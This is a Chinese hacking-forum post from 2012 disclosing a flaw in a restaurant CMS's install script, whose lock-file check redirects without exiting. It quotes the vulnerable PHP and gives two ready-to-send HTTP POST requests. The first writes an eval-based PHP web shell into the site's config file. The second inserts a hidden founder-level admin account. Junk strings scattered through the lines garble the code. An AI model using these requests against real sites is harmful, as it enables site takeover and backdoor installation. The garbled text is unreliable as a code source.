找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2014|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。! m/ B' o. P+ Y+ A8 f% z8 v

- u/ m6 K  y/ A3 H7 @<?php2 i( {; B* x+ `5 R7 J/ D3 ~5 i: `5 L
if(file_exists("../install.lock"))
7 E& }: S- {( D. G1 `{
& m/ _" M; n( i4 x6 |    header("Location: ../");//没有退出
3 @3 U$ f& y6 ^+ R: V2 }7 p}4 ?( r) ]5 ~. m/ m& J2 U7 u
               4 x: ]$ U* @0 A& I' [" o7 ^
//echo 'tst';exit;5 A- N( l1 F2 S4 w
require_once("init.php");  E6 D# y- J: U. W9 A
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
9 r' }2 x& r; U  E- {* c{! O& }1 A- _/ k& Y: d
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
* S' r3 e) ~: H
. U6 ^3 M% M+ O% s$ k6 X  B1、getshell(很危险)
8 d0 I, S% n6 i3 rif(empty($_REQUEST['step']) || $_REQUEST['step']==1)) p, w: w7 Y7 Y
{
# T- H1 @6 s! U9 }$smarty->assign("step",1);
& p( o9 l/ B8 \& d2 [  h: P$smarty->display("index.html");1 V, R6 h" G, q1 B" f! f) h
}elseif($_REQUEST['step']==2)+ x% Z7 E$ g: n3 y* H: }
{
& f$ \; K/ }& T& k/ r    $mysql_host=trim($_POST['mysql_host']);
5 \7 F1 T, D$ V/ [    $mysql_user=trim($_POST['mysql_user']);* a( s" Q8 j/ I8 o- e# `
    $mysql_pwd=trim($_POST['mysql_pwd']);; Q, N9 W/ _$ C( [6 g, m
    $mysql_db=trim($_POST['mysql_db']);
6 l* X: E- B" k9 u- P# `0 F    $tblpre=trim($_POST['tblpre']);
  R- J4 x1 z# G. d. ^    $domain==trim($_POST['domain']);+ n; P! v6 N# Z' D
    $str="<?php \r\n";
7 K% P& i7 _7 _1 m    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
! H/ H6 p  J( j$ J2 U% U    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
, c6 p5 Y2 O7 p7 H- Y    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
  S% p1 W) M. G+ ]/ d& n    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";) W2 x# C4 z+ A; f
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";) z! Y; O/ S) I4 V) z
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";8 Y8 k  L1 @# d$ V
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";7 T5 F7 E- [; w" s( z
    $str.='define("SKINS","default");'."\r\n";
. d6 v9 m& {7 Z3 ?" q4 y    $str.='?>';
% o" q+ y9 ]$ N, l/ `- L; A7 K) y    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件2 q% ~% z% p: l7 y6 N  m+ [1 O
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马! n! O/ X1 V: _& m+ c/ G. n% Q# B
POST /canting/install/index.php?m=index&step=2 HTTP/1.1' H- q5 J& ^1 s
Host: 192.168.80.129! o3 A/ L- \3 h
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.03 [! h$ [7 Z" y8 [; ?9 s6 O
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
, N& v' C3 r2 |" VAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
, L6 ]' d& \' ^0 B; w; hAccept-Encoding: gzip, deflate) D1 s7 E) H) ^! R% A* ^
Referer: http://192.168.80.129/canting/install/index.php?step=1. `9 [: m& z3 T: K5 d
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
2 q6 ^5 }5 O4 x3 y0 pContent-Type: application/x-www-form-urlencoded- c% I: v7 _" i4 L7 e
Content-Length: 1264 u+ B- e4 q* R3 m* V2 q, n
         
8 _; S4 Y: Z2 C7 ~mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD5 K& T+ y& E" K
但是这个方法很危险,将导致网站无法运行。3 Q4 e5 Y" [* C0 x" t$ k4 z% A+ z

; j6 V, Z# ^: W% `, y1 d, z2、直接添加管理员
% k- V2 R' Q  [6 h2 L/ ~/ j, r) u' f# D$ W0 l4 T
elseif($_REQUEST['step']==5)
) S6 r* j0 q" T{
  w( Q3 K4 S5 }. r    if($_POST)6 c' n& C& }( P3 v  S; R
    {   require_once("../config/config.inc.php");  c/ y% g& {9 c* V8 ~0 h
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);0 I) I3 r0 L" g/ Q5 }
        mysql_select_db(MYSQL_DB,$link);* x( x% K1 S: x& h
        mysql_query("SET NAMES ".MYSQL_CHARSET );
( y, _5 D( A$ L) }4 W         mysql_query("SET sql_mode=''");; E4 h* Z/ |) N) }2 D8 I6 z/ A4 D0 T

0 p' _, C( n& ]. d $adminname=trim($_POST['adminname']);, Z0 H( t2 H9 B. K7 f% `" {
        $pwd1=trim($_POST['pwd1']);& w# x* C# j" b  K1 W  m$ ]: H
        $pwd2=trim($_POST['pwd2']);
9 ^+ [1 U% V1 J: k        if(empty($adminname))
5 C/ r6 ~7 R4 b- K- \$ }6 o        {/ E  a* n) w8 k5 N/ a( |
' @- G7 _/ a3 U! q# v, Q3 \- \# W
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
! T: Q$ L" f: [) S* i- U            exit();5 h$ [9 h  l; a; c/ v: |: `
        }$ z) |+ h. d' f# ~  V0 U
        if(($pwd1!=$pwd2) or empty($pwd1))
8 ^# l3 _/ G3 M        {
; E, ~* h$ G- V* n7 _8 j            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出8 P) M: j6 O% n" G. z
        }. K2 H7 z/ u- U: l; p
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
. F) N7 \) _7 w/ c* v/ o% b1 P5 k0 I, r    }
' y9 s6 H+ I/ z$ p3 {+ f4 ]4 b这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
1 ~% r- Y- w$ W0 ^POST /canting/install/index.php?m=index&step=5 HTTP/1.15 ~% `( z8 o/ _& {
Host: 192.168.80.129
; n- j7 C' ]9 v, B* M# |4 iUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0- \8 ~! A) N. B& b" l( |
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.87 B' T: W$ S- ]2 l9 u
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3" [- e2 Z( E: P7 S' u+ ?
Accept-Encoding: gzip, deflate
0 h9 m/ ?( ^" K# u5 K$ q7 pReferer: http://www.2cto.com /canting/install/index.php?step=1
( |! _1 O9 V" r5 v/ K" ^Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42: v% ^, b) O3 d4 ~
Content-Type: application/x-www-form-urlencoded  X1 ~/ `) T- m# x$ u! k
Content-Length: 46
+ n0 q1 T9 a% Q      
, R0 }. S( I$ v+ K; I! Eadminname=qingshen&pwd1=qingshen&pwd2=qingshen​
/ N6 t9 |/ _- X4 q! K' F: _6 H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表